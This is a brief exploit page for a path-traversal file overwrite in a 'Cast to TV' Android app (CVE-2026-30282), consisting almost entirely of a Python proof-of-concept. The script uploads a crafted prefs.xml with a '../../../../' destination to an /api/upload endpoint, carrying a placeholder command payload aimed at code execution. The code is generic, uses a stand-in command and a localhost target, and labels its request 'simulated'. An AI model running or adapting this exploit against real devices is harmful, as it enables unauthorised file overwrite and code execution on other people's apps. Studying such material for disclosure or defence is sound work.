CVE-2026-30282 Cast to TV 任意文件覆盖致代码执行

import requests def exploit(target_url): # Path traversal payload to overwrite a critical file malicious_path = "../../../../data/data/com.uxgroup.casttv/files/prefs.xml" # Simulated file upload request files = {'file': ('prefs.xml', b'<root><exec>malicious_command</exec></root>', 'text/xml')} data = {'destination': malicious_path} try: response = requests.post(f"{target_url}/api/upload", files=files, data=data) if response.status_code == 200: print("[+] File overwrite successful.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit("http://127.0.0.1:8080")